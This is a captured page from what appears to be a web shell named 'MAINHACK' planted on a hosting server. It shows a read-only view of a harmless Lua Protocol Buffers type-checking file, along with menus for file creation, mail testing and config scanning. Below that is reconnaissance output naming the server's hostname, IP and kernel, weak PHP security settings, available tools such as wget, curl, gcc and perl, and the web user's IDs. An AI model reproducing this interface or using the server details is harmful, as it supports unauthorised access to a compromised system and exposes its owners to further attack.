[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: type_checkers.lua
File is not writable. Editing disabled.
-- -------------------------------------------------------------------------------- -- FILE: type_checkers.lua -- DESCRIPTION: protoc-gen-lua -- Google's Protocol Buffers project, ported to lua. -- https://code.google.com/p/protoc-gen-lua/ -- -- Copyright (c) 2010 , 林卓毅 (Zhuoyi Lin) netsnail@gmail.com -- All rights reserved. -- -- Use, modification and distribution are subject to the "New BSD License" -- as listed at <url: http://www.opensource.org/licenses/bsd-license.php >. -- -- COMPANY: NetEase -- CREATED: 2010年07月29日 19时30分37秒 CST -------------------------------------------------------------------------------- -- local type = type local error = error local string = string module "type_checkers" function TypeChecker(acceptable_types) local acceptable_types = acceptable_types return function(proposed_value) local t = type(proposed_value) if acceptable_types[type(proposed_value)] == nil then error(string.format('%s has type %s, but expected one of: %s', proposed_value, type(proposed_value), acceptable_types)) end end end function Int32ValueChecker() local _MIN = -2147483648 local _MAX = 2147483647 return function(proposed_value) if type(proposed_value) ~= 'number' then error(string.format('%s has type %s, but expected one of: number', proposed_value, type(proposed_value))) end if _MIN > proposed_value or proposed_value > _MAX then error('Value out of range: ' .. proposed_value) end end end function Uint32ValueChecker(IntValueChecker) local _MIN = 0 local _MAX = 0xffffffff return function(proposed_value) if type(proposed_value) ~= 'number' then error(string.format('%s has type %s, but expected one of: number', proposed_value, type(proposed_value))) end if _MIN > proposed_value or proposed_value > _MAX then error('Value out of range: ' .. proposed_value) end end end function UnicodeValueChecker() return function (proposed_value) if type(proposed_value) ~= 'string' then error(string.format('%s has type %s, but expected one of: string', proposed_value, type(proposed_value))) end end end
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.31 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A